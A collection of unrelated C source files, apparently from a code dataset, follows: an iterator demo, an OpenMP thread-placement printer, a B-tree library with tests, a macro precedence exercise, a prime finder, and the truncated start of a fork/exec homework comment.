void* copyrepeati_next(copyrepeati* repeater) {
void* copy = malloc(repeater->type_size);
memcpy(copy, repeati_next(&repeater->repeater), repeater->type_size);
repeater->iter_exhausted = repeater->repeater.iter_exhausted;
return copy;
}
// USAGE //
#include <stdio.h>
int main(void) {
// Count to 100 by 2s
iterint num;
rangei range = {0, 100, 2};
FOREACH (rangei, num, range) {
printf("%d\n", num);
}
// Count down from 10
range = (rangei) {10, 0, -1};
FOREACH (rangei, num, range) {
printf("%d\n", num);
}
// test copyrepeati
void* to_repeat;
to_repeat = &to_repeat;
copyrepeati repeater = {{to_repeat, true, 3}, sizeof to_repeat};
void* item;
FOREACH (copyrepeati, item, repeater) {
printf("%p\n", item);
}
return 0;
}
|
the_stack_data/62636792.c
|
#include <stdio.h>
#if defined(_OPENMP)
#include <omp.h>
#endif
int main(void)
{
#pragma omp parallel
{
int thread = 0;
int nthreads = 1;
int place = 0;
int nplaces = 1;
int i;
#if defined(_OPENMP)
thread = omp_get_thread_num();
nthreads = omp_get_num_threads();
place = omp_get_place_num();
nplaces = omp_get_num_places();
#endif
#pragma omp for ordered
for (i = 0; i < nplaces; i++) {
int procs[512] = {0};
int nprocs = 1;
#if defined(_OPENMP)
nprocs = omp_get_place_num_procs(i);
omp_get_place_proc_ids(i,procs);
#endif
#pragma omp ordered
{
int j;
printf("Place %d has procs:",i);
for (j = 0; j < nprocs; j++) {
printf(" %d",procs[j]);
}
printf("\n");
fflush(stdout);
}
}
#pragma omp for ordered
for (i = 0; i < nthreads; i++) {
#pragma omp ordered
{
printf("Thread %d is on one of the processes in place %d\n",thread,place);
fflush(stdout);
}
}
}
return 0;
}
|
the_stack_data/798026.c
|
/*
* Copyright (C) 2010 Joseph Adams <[email protected]>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
// Downloaded from https://ccodearchive.net/info/btree.html
/*
Note: The following should work but are not well-tested yet:
btree_walk...
btree_cmp_iters
btree_insert
btree_remove
btree_lookup
*/
#include <stdbool.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
/*
* Maximum number of items per node.
* The maximum number of branches is BTREE_ITEM_MAX + 1.
*/
#define BTREE_ITEM_MAX 20
struct btree_node {
struct btree_node *parent;
/* Number of items (rather than branches). */
unsigned char count;
/* 0 if node is a leaf, 1 if it has leaf children, etc. */
unsigned char depth;
/* node->parent->branch[node->k] == this */
unsigned char k;
const void *item[BTREE_ITEM_MAX];
/*
* Allocated to BTREE_ITEM_MAX+1 items if this is
* an internal node, 0 items if it is a leaf.
*/
struct btree_node *branch[];
};
typedef struct btree_iterator_s {
struct btree *btree;
struct btree_node *node;
unsigned int k;
/*
* The relationship between item and (node, k) depends on what function
* set it. It is mainly for convenience.
*/
void *item;
} btree_iterator[1];
/*
* Instead of a compare function, this library accepts a binary search function
* to know how to order the items.
*/
typedef unsigned int btree_search_proto(
const void *key,
const void * const *base,
unsigned int count,
int lr,
int *found
);
typedef btree_search_proto *btree_search_t;
btree_search_proto btree_strcmp;
/*
* Callback used by btree_delete() and btree_walk...().
*
* If it returns 0, it causes btree_walk...() to stop traversing and return 0.
* Thus, in normal circumstances, this callback should return 1.
*
* Callback shall not insert/remove items from the btree being traversed,
* nor shall anything modify it during a walk.
*/
typedef int (*btree_action_t)(void *item, void *ctx);
struct btree {
struct btree_node *root;
size_t count; /* Total number of items in B-tree */
btree_search_t search;
bool multi;
/*
* These are set to NULL by default.
*
* When destroy is not NULL, it is called on each item in order when
* btree_delete() is called.
*
* When destroy is NULL, btree_delete runs faster because it does not have
* to visit each and every item.
*/
btree_action_t destroy;
void *destroy_ctx;
};
struct btree *btree_new(btree_search_t search);
void btree_delete(struct btree *btree);
/* Inserts an item into the btree. If an item already exists that is equal
* to this one (as determined by the search function), behavior depends on the
* btree->multi setting.
* If btree->multi is false (default), returns false, and no item
* is inserted (because it would be a duplicate).
* If btree->multi is true, returns true, putting the item after
* its duplicates.
*/
bool btree_insert(struct btree *btree, const void *item);
/* Removes an item from the btree. If an item exists that is equal to the
* key (as determined by the search function), it is removed.
*
* If btree->multi is set, all matching items are removed.
*
* Returns true if item was found and deleted, false if not found. */
bool btree_remove(struct btree *btree, const void *key);
/* Finds the requested item.
* Returns the item pointer on success, NULL on failure.
* Note that NULL is a valid item value. If you need to put
* NULLs in a btree, use btree_find instead. */
void *btree_lookup(struct btree *btree, const void *key);
/* lr must be 0 or 1, nothing else. */
int btree_begin_end_lr(const struct btree *btree, btree_iterator iter, int lr);
int btree_find_lr(const struct btree *btree, const void *key,
btree_iterator iter, int lr);
int btree_walk_backward(const struct btree *btree,
btree_action_t action, void *ctx);
int btree_walk_forward(const struct btree *btree,
btree_action_t action, void *ctx);
#define btree_begin(btree, iter) btree_begin_end_lr(btree, iter, 0)
#define btree_end(btree, iter) btree_begin_end_lr(btree, iter, 1)
int btree_prev(btree_iterator iter);
int btree_next(btree_iterator iter);
#define btree_walk(btree, action, ctx) btree_walk_forward(btree, action, ctx)
/*
* If key was found, btree_find_first will return 1, iter->item will be the
* first matching item, and iter will point to the beginning of the matching
* items.
*
* If key was not found, btree_find_first will return 0, iter->item will be
* undefined, and iter will point to where the key should go if inserted.
*/
#define btree_find_first(btree, key, iter) btree_find_lr(btree, key, iter, 0)
/*
* If key was found, btree_find_last will return 1, iter->item will be the
* last matching item, and iter will point to the end of the matching
* items.
*
* If key was not found, btree_find_last will return 0, iter->item will be
* undefined, and iter will point to where the key should go if inserted.
*/
#define btree_find_last(btree, key, iter) btree_find_lr(btree, key, iter, 1)
/* btree_find is an alias of btree_find_first. */
#define btree_find(btree, key, iter) btree_find_first(btree, key, iter)
/*
* If iter points to an item, btree_deref returns 1 and sets iter->item to the
* item it points to.
*
* Otherwise (if iter points to the end of the btree), btree_deref returns 0
* and leaves iter untouched.
*/
int btree_deref(btree_iterator iter);
/*
* Inserts the item before the one pointed to by iter.
*
* Insertion invalidates all iterators to the btree, including the one
* passed to btree_insert_at. Nevertheless, iter->item will be set to
* the item inserted.
*/
void btree_insert_at(btree_iterator iter, const void *item);
/*
* Removes the item pointed to by iter. Returns 1 if iter pointed
* to an item. Returns 0 if iter pointed to the end, in which case
* it leaves iter intact.
*
* Removal invalidates all iterators to the btree, including the one
* passed to btree_remove_at. Nevertheless, iter->item will be set to
* the item removed.
*/
int btree_remove_at(btree_iterator iter);
/*
* Compares positions of two iterators.
*
* Returns -1 if a is before b, 0 if a is at the same position as b,
* and +1 if a is after b.
*/
int btree_cmp_iters(const btree_iterator iter_a, const btree_iterator iter_b);
#define btree_search_implement(name, type, setup, equals, lessthan) \
unsigned int name(const void *__key, \
const void * const *__base, unsigned int __count, \
int __lr, int *__found) \
{ \
unsigned int __start = 0; \
while (__count) { \
unsigned int __middle = __count >> 1; \
type a = (type)__key; \
type b = (type)__base[__start + __middle]; \
{ \
setup; \
if (equals) \
goto __equals; \
if (lessthan) \
goto __lessthan; \
} \
__greaterthan: \
__start += __middle + 1; \
__count -= __middle + 1; \
continue; \
__equals: \
*__found = 1; \
if (__lr) \
goto __greaterthan; \
/* else, fall through to __lessthan */ \
__lessthan: \
__count = __middle; \
continue; \
} \
return __start; \
}
#define MAX (BTREE_ITEM_MAX)
#define MIN (BTREE_ITEM_MAX >> 1)
static struct btree_node *node_alloc(int internal);
static void node_delete(struct btree_node *node, struct btree *btree);
static void branch_begin(btree_iterator iter);
static void branch_end(btree_iterator iter);
static void begin_end_lr(btree_iterator iter, struct btree_node *node, int lr);
/*
* If iter->node has parent, returns 1 and ascends the iterator such that
* iter->node->branch[iter->k] will be what iter->node was.
*
* If iter->node does not have a parent (is a root), returns 0 and leaves the
* iterator untouched.
*/
#define ascend(iter) ((iter)->node->parent \
? (iter)->k = (iter)->node->k, (iter)->node = (iter)->node->parent, 1 \
: 0)
static void node_insert(const void *x, struct btree_node *xr,
struct btree_node *p, unsigned int k);
static void node_split(const void **x, struct btree_node **xr,
struct btree_node *p, unsigned int k);
static void node_remove_leaf_item(struct btree_node *node, unsigned int k);
void node_restore(struct btree_node *node, unsigned int k);
static int node_walk_backward(const struct btree_node *node,
btree_action_t action, void *ctx);
static int node_walk_forward(const struct btree_node *node,
btree_action_t action, void *ctx);
/************************* Public functions *************************/
struct btree *btree_new(btree_search_t search)
{
struct btree *btree = calloc(1, sizeof(struct btree));
struct btree_node *node = node_alloc(0);
node->parent = NULL;
node->count = 0;
node->depth = 0;
btree->root = node;
btree->search = search;
btree->multi = false;
return btree;
}
void btree_delete(struct btree *btree)
{
node_delete(btree->root, btree);
free(btree);
}
bool btree_insert(struct btree *btree, const void *item)
{
btree_iterator iter;
if (btree_find_last(btree, item, iter) && !btree->multi)
return false;
btree_insert_at(iter, item);
return true;
}
bool btree_remove(struct btree *btree, const void *key)
{
btree_iterator iter;
bool success = false;
bool multi = btree->multi;
do {
if (btree_find_first(btree, key, iter)) {
btree_remove_at(iter);
success = true;
}
} while (multi);
return success;
}
void *btree_lookup(struct btree *btree, const void *key)
{
btree_iterator iter;
if (btree_find_first(btree, key, iter))
return iter->item;
return NULL;
}
int btree_begin_end_lr(const struct btree *btree, btree_iterator iter, int lr)
{
struct btree_node *node;
iter->btree = (struct btree *)btree;
begin_end_lr(iter, btree->root, lr);
/* Set iter->item if any items exist. */
node = iter->node;
if (node->count) {
iter->item = (void*)node->item[iter->k - lr];
return 1;
}
return 0;
}
int btree_deref(btree_iterator iter)
{
if (iter->k >= iter->node->count) {
struct btree_iterator_s tmp = *iter;
do {
if (!ascend(iter)) {
*iter = tmp;
return 0;
}
} while (iter->k >= iter->node->count);
}
iter->item = (void*)iter->node->item[iter->k];
return 1;
}
int btree_prev(btree_iterator iter)
{
if (iter->node->depth) {
branch_end(iter);
} else if (iter->k == 0) {
struct btree_iterator_s tmp = *iter;
do {
if (!ascend(iter)) {
*iter = tmp;
return 0;
}
} while (iter->k == 0);
}
iter->item = (void*)iter->node->item[--iter->k];
return 1;
}
int btree_next(btree_iterator iter)
{
int ret = btree_deref(iter);
if (ret) {
iter->k++;
if (iter->node->depth)
branch_begin(iter);
}
return ret;
}
int btree_find_lr(const struct btree *btree, const void *key,
btree_iterator iter, int lr)
{
struct btree_node *node = btree->root;
unsigned int k;
unsigned int depth;
int found = 0;
iter->btree = (struct btree *)btree;
iter->item = NULL;
depth = node->depth;
for (;;) {
int f = 0;
k = btree->search(key, node->item, node->count, lr, &f);
if (f) {
iter->item = (void*)node->item[k - lr];
found = 1;
}
if (!depth--)
break;
node = node->branch[k];
}
iter->node = node;
iter->k = k;
return found;
}
int btree_walk_backward(const struct btree *btree,
btree_action_t action, void *ctx)
{
return node_walk_backward(btree->root, action, ctx);
}
int btree_walk_forward(const struct btree *btree,
btree_action_t action, void *ctx)
{
return node_walk_forward(btree->root, action, ctx);
}
void btree_insert_at(btree_iterator iter, const void *item)
{
const void *x = item;
struct btree_node *xr = NULL;
struct btree_node *p;
struct btree *btree = iter->btree;
/* btree_insert_at always sets iter->item to item. */
iter->item = (void*)item;
/*
* If node is not a leaf, fall to the end of the left branch of item[k]
* so that it will be a leaf. This does not modify the iterator's logical
* position.
*/
if (iter->node->depth)
branch_end(iter);
/*
* First try inserting item into this node.
* If it's too big, split it, and repeat by
* trying to insert the median and right subtree into parent.
*/
if (iter->node->count < MAX) {
node_insert(x, xr, iter->node, iter->k);
goto finished;
} else {
for (;;) {
node_split(&x, &xr, iter->node, iter->k);
if (!ascend(iter))
break;
if (iter->node->count < MAX) {
node_insert(x, xr, iter->node, iter->k);
goto finished;
}
}
/*
* If splitting came all the way up to the root, create a new root whose
* left branch is the current root, median is x, and right branch is the
* half split off from the root.
*/
assert(iter->node == btree->root);
p = node_alloc(1);
p->parent = NULL;
p->count = 1;
p->depth = btree->root->depth + 1;
p->item[0] = x;
p->branch[0] = btree->root;
btree->root->parent = p;
btree->root->k = 0;
p->branch[1] = xr;
xr->parent = p;
xr->k = 1;
btree->root = p;
}
finished:
btree->count++;
iter->node = NULL;
}
int btree_remove_at(btree_iterator iter)
{
struct btree *btree = iter->btree;
struct btree_node *root;
if (!btree_deref(iter))
return 0;
if (!iter->node->depth) {
node_remove_leaf_item(iter->node, iter->k);
if (iter->node->count >= MIN || !iter->node->parent)
goto finished;
} else {
/*
* We can't remove an item from an internal node, so we'll replace it
* with its successor (which will always be in a leaf), then remove
* the original copy of the successor.
*/
/* Save pointer to condemned item. */
const void **x = &iter->node->item[iter->k];
/* Descend to successor. */
iter->k++;
branch_begin(iter);
/* Replace condemned item with successor. */
*x = iter->node->item[0];
/* Remove successor. */
node_remove_leaf_item(iter->node, 0);
}
/*
* Restore nodes that fall under their minimum count. This may
* propagate all the way up to the root.
*/
for (;;) {
if (iter->node->count >= MIN)
goto finished;
if (!ascend(iter))
break;
node_restore(iter->node, iter->k);
}
/*
* If combining came all the way up to the root, and it has no more
* dividers, delete it and make its only branch the root.
*/
root = iter->node;
assert(root == btree->root);
assert(root->depth > 0);
if (root->count == 0) {
btree->root = root->branch[0];
btree->root->parent = NULL;
free(root);
}
finished:
btree->count--;
iter->node = NULL;
return 1;
}
/*
* ascends iterator a until it matches iterator b's depth.
*
* Returns -1 if they end up on the same k (meaning a < b).
* Returns 0 otherwise.
*/
static int elevate(btree_iterator a, btree_iterator b)
{
while (a->node->depth < b->node->depth)
ascend(a);
if (a->k == b->k)
return -1;
return 0;
}
int btree_cmp_iters(const btree_iterator iter_a, const btree_iterator iter_b)
{
btree_iterator a = {*iter_a}, b = {*iter_b};
int ad, bd;
ad = btree_deref(a);
bd = btree_deref(b);
/* Check cases where one or both iterators are at the end. */
if (!ad)
return bd ? 1 : 0;
if (!bd)
return ad ? -1 : 0;
/* Bring iterators to the same depth. */
if (a->node->depth < b->node->depth) {
if (elevate(a, b))
return -1;
} else if (a->node->depth > b->node->depth) {
if (elevate(b, a))
return 1;
}
/* Bring iterators to the same node. */
while (a->node != b->node) {
ascend(a);
ascend(b);
}
/* Now we can compare by k directly. */
if (a->k < b->k)
return -1;
if (a->k > b->k)
return 1;
return 0;
}
/********************* Built-in ordering functions *******************/
btree_search_implement
(
btree_strcmp,
char*,
int c = strcmp(a, b),
c == 0,
c < 0
)
/************************* Private functions *************************/
static struct btree_node *node_alloc(int internal)
{
struct btree_node *node;
size_t isize = internal
? sizeof(struct btree_node*) * (BTREE_ITEM_MAX+1)
: 0;
node = malloc(sizeof(struct btree_node) + isize);
return node;
}
static void node_delete(struct btree_node *node, struct btree *btree)
{
unsigned int i, count = node->count;
if (!node->depth) {
if (btree->destroy) {
for (i=0; i<count; i++)
btree->destroy((void*)node->item[i], btree->destroy_ctx);
}
} else {
for (i=0; i<count; i++) {
node_delete(node->branch[i], btree);
if (btree->destroy)
btree->destroy((void*)node->item[i], btree->destroy_ctx);
}
node_delete(node->branch[count], btree);
}
free(node);
}
/* Set iter to beginning of branch pointed to by iter. */
static void branch_begin(btree_iterator iter)
{
struct btree_node *node = iter->node->branch[iter->k];
unsigned int depth = node->depth;
while (depth--)
node = node->branch[0];
iter->node = node;
iter->k = 0;
}
/* Set iter to end of branch pointed to by iter. */
static void branch_end(btree_iterator iter)
{
struct btree_node *node = iter->node->branch[iter->k];
unsigned int depth = node->depth;
while (depth--)
node = node->branch[node->count];
iter->node = node;
iter->k = node->count;
}
/* Traverse to the beginning or end of node, depending on lr. */
static void begin_end_lr(btree_iterator iter, struct btree_node *node, int lr)
{
iter->node = node;
iter->k = lr ? node->count : 0;
if (node->depth)
(lr ? branch_end : branch_begin)(iter);
}
/*
* Inserts item x and right branch xr into node p at position k.
*
* Assumes p exists and has enough room.
* Ignores xr if p is a leaf.
*/
static void node_insert(const void *x, struct btree_node *xr,
struct btree_node *p, unsigned int k)
{
unsigned int i;
for (i = p->count; i-- > k;)
p->item[i+1] = p->item[i];
p->item[k] = x;
if (p->depth) {
k++;
for (i = p->count+1; i-- > k;) {
p->branch[i+1] = p->branch[i];
p->branch[i+1]->k = i+1;
}
p->branch[k] = xr;
xr->parent = p;
xr->k = k;
}
p->count++;
}
/*
* Inserts item *x and subtree *xr into node p at position k, splitting it into
* nodes p and *xr with median item *x.
*
* Assumes p->count == MAX.
* Ignores original *xr if p is a leaf, but always sets it.
*/
static void node_split(const void **x, struct btree_node **xr,
struct btree_node *p, unsigned int k)
{
unsigned int i, split;
struct btree_node *l = p, *r;
/*
* If k <= MIN, item will be inserted into left subtree, so give l
* fewer items initially.
* Otherwise, item will be inserted into right subtree, so give r
* fewer items initially.
*/
if (k <= MIN)
split = MIN;
else
split = MIN + 1;
/*
* If l->depth is 0, allocate a leaf node.
* Otherwise, allocate an internal node.
*/
r = node_alloc(l->depth);
/* l and r will be siblings, so they will have the same parent and depth. */
r->parent = l->parent;
r->depth = l->depth;
/*
* Initialize items/branches of right side.
* Do not initialize r's leftmost branch yet because we don't know
* whether it will be l's current rightmost branch or if *xr will
* take its place.
*/
for (i = split; i < MAX; i++)
r->item[i-split] = l->item[i];
if (r->depth) {
for (i = split+1; i <= MAX; i++) {
r->branch[i-split] = l->branch[i];
r->branch[i-split]->parent = r;
r->branch[i-split]->k = i-split;
}
}
/* Update counts. */
l->count = split;
r->count = MAX - split;
/*
* The nodes are now split, but the key isn't inserted yet.
*
* Insert key into left or right half,
* depending on which side it fell on.
*/
if (k <= MIN)
node_insert(*x, *xr, l, k);
else
node_insert(*x, *xr, r, k - split);
/*
* Give l's rightmost branch to r because l's rightmost item
* is going up to become the median.
*/
if (r->depth) {
r->branch[0] = l->branch[l->count];
r->branch[0]->parent = r;
r->branch[0]->k = 0;
}
/*
* Take up l's rightmost item to make it the median.
* That item's right branch is now r.
*/
*x = l->item[--l->count];
*xr = r;
}
/*
* Removes item k from node p, shifting successor items back and
* decrementing the count.
*
* Assumes node p has the item k and is a leaf.
*/
static void node_remove_leaf_item(struct btree_node *node, unsigned int k)
{
unsigned int i;
for (i = k+1; i < node->count; i++)
node->item[i-1] = node->item[i];
node->count--;
}
static void move_left(struct btree_node *node, unsigned int k);
static void move_right(struct btree_node *node, unsigned int k);
static void combine(struct btree_node *node, unsigned int k);
/*
* Fixes node->branch[k]'s problem of having one less than MIN items.
* May or may not cause node to fall below MIN items, depending on whether
* two branches are combined or not.
*/
void node_restore(struct btree_node *node, unsigned int k)
{
if (k == 0) {
if (node->branch[1]->count > MIN)
move_left(node, 0);
else
combine(node, 0);
} else if (k == node->count) {
if (node->branch[k-1]->count > MIN)
move_right(node, k-1);
else
combine(node, k-1);
} else if (node->branch[k-1]->count > MIN) {
move_right(node, k-1);
} else if (node->branch[k+1]->count > MIN) {
move_left(node, k);
} else {
combine(node, k-1);
}
}
static void move_left(struct btree_node *node, unsigned int k)
{
struct btree_node *l = node->branch[k], *r = node->branch[k+1], *mv;
unsigned int i;
l->item[l->count] = node->item[k];
node->item[k] = r->item[0];
for (i = 1; i < r->count; i++)
r->item[i-1] = r->item[i];
if (r->depth) {
mv = r->branch[0];
l->branch[l->count+1] = mv;
mv->parent = l;
mv->k = l->count+1;
for (i = 1; i <= r->count; i++) {
r->branch[i-1] = r->branch[i];
r->branch[i-1]->k = i-1;
}
}
l->count++;
r->count--;
}
static void move_right(struct btree_node *node, unsigned int k)
{
struct btree_node *l = node->branch[k], *r = node->branch[k+1];
unsigned int i;
for (i = r->count; i--;)
r->item[i+1] = r->item[i];
r->item[0] = node->item[k];
node->item[k] = l->item[l->count-1];
if (r->depth) {
for (i = r->count+1; i--;) {
r->branch[i+1] = r->branch[i];
r->branch[i+1]->k = i+1;
}
r->branch[0] = l->branch[l->count];
r->branch[0]->parent = r;
r->branch[0]->k = 0;
}
l->count--;
r->count++;
}
/* Combine node->branch[k] and node->branch[k+1]. */
static void combine(struct btree_node *node, unsigned int k)
{
struct btree_node *l = node->branch[k], *r = node->branch[k+1], *mv;
const void **o = &l->item[l->count];
unsigned int i;
//append node->item[k] followed by right node's items to left node
*o++ = node->item[k];
for (i=0; i<r->count; i++)
*o++ = r->item[i];
//if applicable, append right node's branches to left node
if (r->depth) {
for (i=0; i<=r->count; i++) {
mv = r->branch[i];
l->branch[l->count + i + 1] = mv;
mv->parent = l;
mv->k = l->count + i + 1;
}
}
//remove k and its right branch from parent node
for (i = k+1; i < node->count; i++) {
node->item[i-1] = node->item[i];
node->branch[i] = node->branch[i+1];
node->branch[i]->k = i;
}
//don't forget to update the left and parent node's counts and to free the right node
l->count += r->count + 1;
node->count--;
free(r);
}
static int node_walk_backward(const struct btree_node *node,
btree_action_t action, void *ctx)
{
unsigned int i, count = node->count;
if (!node->depth) {
for (i=count; i--;)
if (!action((void*)node->item[i], ctx))
return 0;
} else {
if (!node_walk_backward(node->branch[count], action, ctx))
return 0;
for (i=count; i--;) {
if (!action((void*)node->item[i], ctx))
return 0;
if (!node_walk_backward(node->branch[i], action, ctx))
return 0;
}
}
return 1;
}
static int node_walk_forward(const struct btree_node *node,
btree_action_t action, void *ctx)
{
unsigned int i, count = node->count;
if (!node->depth) {
for (i=0; i<count; i++)
if (!action((void*)node->item[i], ctx))
return 0;
} else {
for (i=0; i<count; i++) {
if (!node_walk_forward(node->branch[i], action, ctx))
return 0;
if (!action((void*)node->item[i], ctx))
return 0;
}
if (!node_walk_forward(node->branch[count], action, ctx))
return 0;
}
return 1;
}
struct test_item {
int key;
int value;
};
static btree_search_implement(
order_by_key,
struct test_item *,
,
a->key == b->key,
a->key < b->key
)
static int insert_test_item(struct btree *btree, int key, int value)
{
struct test_item key_item = {key, -101};
struct test_item *item;
btree_iterator iter;
if (btree_find_first(btree, &key_item, iter)) {
/* Don't insert new item, but do update its value. */
item = iter->item;
item->value = value;
return 0;
}
item = malloc(sizeof(*item));
item->key = key;
item->value = value;
btree_insert_at(iter, item);
return 1;
}
static int lookup_test_item(const struct btree *btree, int key)
{
struct test_item key_item = {key, -102};
struct test_item *item;
btree_iterator iter;
if (!btree_find_first(btree, &key_item, iter))
return -100;
item = iter->item;
return item->value;
}
static int destroy_test_item(void *item, void *ctx) {
// test items are constant strings, so nothing to do...
(void) item;
(void) ctx;
return 1;
}
struct test_insert_entry {
int key;
int value;
int expected_return;
};
struct test_traverse_entry {
int key;
int value;
};
static void print_indent(unsigned int indent) {
while (indent--)
fputs("\t", stdout);
}
static void btree_node_trace(struct btree_node *node, unsigned int indent)
{
unsigned int i;
for (i=0; i<node->count; i++) {
if (node->depth)
btree_node_trace(node->branch[i], indent+1);
print_indent(indent);
puts(node->item[i]);
}
if (node->depth)
btree_node_trace(node->branch[node->count], indent+1);
}
static void btree_trace(struct btree *btree)
{
btree_node_trace(btree->root, 0);
}
#define fail(cond) { printf("TEST FAILED: %s:%d: %s\n", __FILE__, __LINE__, \
cond); abort(); }
#define ok1(cond) if (!(cond)) { fail(#cond); }
static void test_insert(struct btree *btree)
{
struct test_insert_entry ent[] = {
{3, 1, 1}, {4, 1, 1}, {5, 9, 1}, {2, 6, 1}, {5, 3, 0}, {5, 8, 0},
{9, 7, 1}, {9, 3, 0}, {2, 3, 0}, {8, 4, 1}, {6, 2, 1}, {6, 4, 0},
{3, 3, 0}, {8, 3, 0}, {2, 7, 0}, {9, 5, 0}, {0, 2, 1}, {8, 8, 0},
{4, 1, 0}, {9, 7, 0}, {1, 6, 1}, {9, 3, 0}, {9, 9, 0}, {3, 7, 0},
{5, 1, 0}, {0, 5, 0}, {8, 2, 0}, {0, 9, 0}, {7, 4, 1}, {9, 4, 0},
{4, 5, 0}, {9, 2, 0}
};
size_t i, count = sizeof(ent) / sizeof(*ent);
for (i = 0; i < count; i++) {
int ret = insert_test_item(btree, ent[i].key, ent[i].value);
ok1(ret == ent[i].expected_return);
}
}
static void test_find_traverse(struct btree *btree)
{
struct test_traverse_entry ent[] = {
{0, 9}, {1, 6}, {2, 7}, {3, 7}, {4, 5},
{5, 1}, {6, 4}, {7, 4}, {8, 2}, {9, 2}
};
size_t i, count = sizeof(ent) / sizeof(*ent);
btree_iterator iter;
i = 0;
for (btree_begin(btree, iter); btree_next(iter);) {
struct test_item *item = iter->item;
if (i >= count) {
fail("Too many items in btree according to forward traversal");
break;
}
ok1(lookup_test_item(btree, item->key) == item->value);
ok1(item->key == ent[i].key && item->value == ent[i].value);
i++;
}
if (i != count)
fail("Not enough items in btree according to forward traversal");
i = count;
for (btree_end(btree, iter); btree_prev(iter);) {
struct test_item *item = iter->item;
if (!i--) {
fail("Too many items in btree according to backward traversal");
break;
}
ok1(lookup_test_item(btree, item->key) == item->value);
ok1(item->key == ent[i].key && item->value == ent[i].value);
}
if (i != 0)
fail("Not enough items in btree according to backward traversal");
}
static btree_search_proto order_by_string;
static btree_search_implement(
order_by_string, //function name
const char*, //key type
int c = strcmp(a, b), //setup
c == 0, // a == b predicate
c < 0 // a < b predicate
)
//used in the test case to sort the test strings
static int compare_by_string(const void *ap, const void *bp)
{
const char * const *a = ap;
const char * const *b = bp;
return strcmp(*a, *b);
}
static void test_traverse(struct btree *btree, const char *sorted[], size_t count)
{
btree_iterator iter, iter2;
size_t i;
i = 0;
for (btree_begin(btree, iter); btree_next(iter);) {
if (i >= count) {
fail("Too many items in btree according to forward traversal");
break;
}
ok1(iter->item == sorted[i]);
btree_find_first(btree, sorted[i], iter2);
ok1(iter2->item == sorted[i]);
i++;
}
if (i != count)
fail("Not enough items in btree according to forward traversal");
i = count;
for (btree_end(btree, iter); btree_prev(iter);) {
if (!i--) {
fail("Too many items in btree according to backward traversal");
break;
}
ok1(iter->item == sorted[i]);
btree_find_first(btree, sorted[i], iter2);
ok1(iter2->item == sorted[i]);
}
if (i != 0)
fail("Not enough items in btree according to backward traversal");
}
static void test_search_implement(void)
{
struct btree *btree = btree_new(order_by_string);
size_t i;
const char *unsorted[] = {
"md4",
"isaac",
"noerr",
"talloc_link",
"asearch",
"tap",
"crcsync",
"wwviaudio",
"array_size",
"alignof",
"str",
"read_write_all",
"grab_file",
"out",
"daemonize",
"array",
"crc",
"str_talloc",
"build_assert",
"talloc",
"alloc",
"endian",
"btree",
"typesafe_cb",
"check_type",
"list",
"ciniparser",
"ilog",
"ccan_tokenizer",
"tdb",
"block_pool",
"sparse_bsearch",
"container_of",
"stringmap",
"hash",
"short_types",
"ogg_to_pcm",
"antithread",
};
size_t count = sizeof(unsorted) / sizeof(*unsorted);
const char *sorted[count];
memcpy(sorted, unsorted, sizeof(sorted));
qsort(sorted, count, sizeof(*sorted), compare_by_string);
for (i=0; i<count; i++) {
btree_iterator iter;
if (btree_find_first(btree, unsorted[i], iter))
fail("btree_insert thinks the test array has duplicates, but it doesn't")
else
btree_insert_at(iter, unsorted[i]);
}
btree_trace(btree);
test_traverse(btree, sorted, count);
btree_delete(btree);
}
int main(void)
{
struct btree *btree;
btree = btree_new(order_by_key);
btree->destroy = destroy_test_item;
test_insert(btree);
test_find_traverse(btree);
btree_delete(btree);
test_search_implement();
// CHECK: alignof
// CHECK: alloc
// CHECK: antithread
// CHECK: array
// CHECK: array_size
// CHECK: asearch
// CHECK: block_pool
// CHECK: btree
// CHECK: build_assert
// CHECK: ccan_tokenizer
// CHECK: check_type
// CHECK: ciniparser
// CHECK: container_of
// CHECK: crc
// CHECK: crcsync
// CHECK: daemonize
// CHECK: endian
// CHECK: grab_file
// CHECK: hash
// CHECK: ilog
// CHECK: isaac
// CHECK: list
// CHECK: md4
// CHECK: noerr
// CHECK: ogg_to_pcm
// CHECK: out
// CHECK: read_write_all
// CHECK: short_types
// CHECK: sparse_bsearch
// CHECK: str
// CHECK: str_talloc
// CHECK: stringmap
// CHECK: talloc
// CHECK: talloc_link
// CHECK: tap
// CHECK: tdb
// CHECK: typesafe_cb
// CHECK: wwviaudio
printf("PASS\n"); // CHECK: PASS
return 0;
}
|
the_stack_data/98573960.c
|
/*P13.4*/
#include<stdio.h>
#define PROD(x,y) x*y
int main(void)
{
printf("%d\t",PROD(2,4));
printf("%d\n",PROD(3+4,5+1));
return 0;
}
|
the_stack_data/132951823.c
|
#include<stdio.h>
int zhishu(int);
int main()
{
int a,b;
scanf("%d",&a);
b=a+1;
while(zhishu(b)==0)
{
b++;}
printf("%d",b);
return 0;
}
int zhishu(int x)
{
int z;
int i;
i=2;
while(x%i!=0&&i<=x)
{i++;}
if(i==x)
z=1;
else
z=0;
return z;
}
|
the_stack_data/170453484.c
|
/*
This program will fork two child processes running the two programs generated in programming zero in parallel.
Hint: You mant need to use fork(), exec() family, wait(), exit(), getpid() and etc ...
Requirements:
1) Exactly two child processes are created, one to run testspecial program and the other is to run testalphabet program;
2) When a program starts to run, print a message to the output screen showing which process (with PID) is running which program, for example:
"CHILD <16741> process is executing testalphabet program!"
3) When a program is done, the process exits and at the same time, a message should be print to the output screen showing which process (with PID) is done with the program, for example:
"CHILD <16741> process has done with testalphabet program !"
